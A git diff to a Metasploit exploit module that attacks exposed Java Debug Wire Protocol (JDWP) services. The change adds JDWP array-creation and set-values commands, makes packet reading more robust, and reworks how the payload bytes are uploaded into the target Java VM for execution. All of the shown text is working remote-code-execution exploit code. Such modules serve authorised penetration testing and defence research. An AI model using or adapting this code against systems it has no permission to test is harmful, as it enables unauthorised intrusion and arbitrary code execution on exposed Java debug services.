diff --git a/modules/exploits/multi/misc/java_jdwp_debugger.rb b/modules/exploits/multi/misc/java_jdwp_debugger.rb index 5a13314c87..a01e067e78 100644 --- a/modules/exploits/multi/misc/java_jdwp_debugger.rb +++ b/modules/exploits/multi/misc/java_jdwp_debugger.rb @@ -34,6 +34,7 @@ class Metasploit3 < Msf::Exploit::Remote SETSTATICVALUES_SIG = [3, 2] INVOKESTATICMETHOD_SIG = [3, 3] CREATENEWINSTANCE_SIG = [3, 4] + ARRAYNEWINSTANCE_SIG = [4, 1] REFERENCETYPE_SIG = [9, 1] INVOKEMETHOD_SIG = [9, 6] STRINGVALUE_SIG = [10, 1] @@ -41,6 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote THREADSUSPEND_SIG = [11, 2] THREADRESUME_SIG = [11, 3] THREADSTATUS_SIG = [11, 4] + ARRAYSETVALUES_SIG = [13, 3] EVENTSET_SIG = [15, 1] EVENTCLEAR_SIG = [15, 2] EVENTCLEARALL_SIG = [15, 3] @@ -173,13 +175,30 @@ class Metasploit3 < Msf::Exploit::Remote # Reads packet response for JDWP protocol def read_reply(timeout = default_timeout) - response = sock.get_once(-1, timeout) - fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless response - pktlen, id, flags, errcode = response.unpack('NNCn') - response.slice!(0..10) - if errcode != 0 && flags == REPLY_PACKET_TYPE - fail_with(Failure::Unknown, "#{peer} - Server sent error with code #{errcode}") + length = sock.get_once(4, timeout) + fail_with(Failure::TimeoutExpired, "#{peer} - Not received response length") unless length + pkt_len = length.unpack('N')[0] + if pkt_len < 4 + fail_with(Failure::Unknown, "#{peer} - Received corrupted response") end + pkt_len = pkt_len - 4 + + response = sock.get_once(pkt_len, timeout) + fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless response + while response.length < pkt_len + partial = sock.get_once(pkt_len, timeout) + fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless partial + response << partial + end + + fail_with(Failure::Unknown, "#{peer} - Received corrupted response") unless response.length == pkt_len + + id, flags, err_code = response.unpack('NCn') + response.slice!(0..6) + if err_code != 0 && flags == REPLY_PACKET_TYPE + fail_with(Failure::Unknown, "#{peer} - Server sent error with code #{err_code}") + end + response end @@ -322,10 +341,6 @@ class Metasploit3 < Msf::Exploit::Remote "#{@vars["vm_name"]} - #{@vars["vm_version"]}" end - def is_java_eight - version.downcase =~ /1[.]8[.]/ - end - # Returns reference for all threads currently running on target VM def get_all_threads sock.put(create_packet(ALLTHREADS_SIG)) @@ -630,6 +645,36 @@ class Metasploit3 < Msf::Exploit::Remote buf end + # Creates a byte[] + def create_array(len) + target_class = get_class_by_name("[B") + fail_with(Failure::Unknown, "target_class is nil") if target_class.nil? + + type_id = target_class["reftype_id"] + fail_with(Failure::Unknown, "type_id is nil") if type_id.nil? + + data = format(@vars["referencetypeid_size"], type_id) + data << [len].pack('N') + + sock.put(create_packet(ARRAYNEWINSTANCE_SIG, data)) + buf = read_reply + buf + end + + # Initializes the byte[] with values + def set_values(obj_id, args = []) + data = format(@vars["objectid_size"], obj_id) + data << [0].pack('N') + data << [args.length].pack('N') + + args.each do |arg| + data << [arg].pack('C') + end + + sock.put(create_packet(ARRAYSETVALUES_SIG, data)) + read_reply + end + def temp_path return nil unless datastore['TMP_PATH'] unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\') @@ -709,43 +754,14 @@ class Metasploit3 < Msf::Exploit::Remote # Stores the payload on a new string created in target VM def upload_payload(thread_id, pl_exe) size = @vars["objectid_size"] - if is_java_eight - runtime_class , runtime_meth = get_class_and_method("Ljava/util/Base64;", "getDecoder") - buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"]) - else - runtime_class , runtime_meth = get_class_and_method("Lsun/misc/BASE64Decoder;", "") - buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"]) - end - unless buf[0] == [TAG_OBJECT].pack('C') - fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") - end - decoder = unformat(size, buf[1..1+size-1]) - if decoder.nil? || decoder == 0 - fail_with(Failure::Unknown, "Failed to create Base64 decoder object") - end - - cmd_obj_ids = create_string("#{Rex::Text.encode_base64(pl_exe)}") - if cmd_obj_ids.length == 0 - fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") - end - - cmd_obj_id = cmd_obj_ids[0]["obj_id"] - data = [TAG_OBJECT].pack('C') - data << format(size, cmd_obj_id) - data_array = [data] - - if is_java_eight - runtime_class , runtime_meth = get_class_and_method("Ljava/util/Base64$Decoder;", "decode", "(Ljava/lang/String;)[B") - else - runtime_class , runtime_meth = get_class_and_method("Lsun/misc/CharacterDecoder;", "decodeBuffer", "(Ljava/lang/String;)[B") - end - buf = invoke(decoder, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array) - unless buf[0] == [TAG_ARRAY].pack('C') - fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected ByteArray") - end + buf = create_array(pl_exe.length) + fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Array") unless buf[0] == [TAG_ARRAY].pack('C') pl = unformat(size, buf[1..1+size-1]) + fail_with(Failure::Unknown, "Failed to create byte array to store payload") if pl.nil? || (pl == 0) + + set_values(pl, pl_exe.bytes) pl end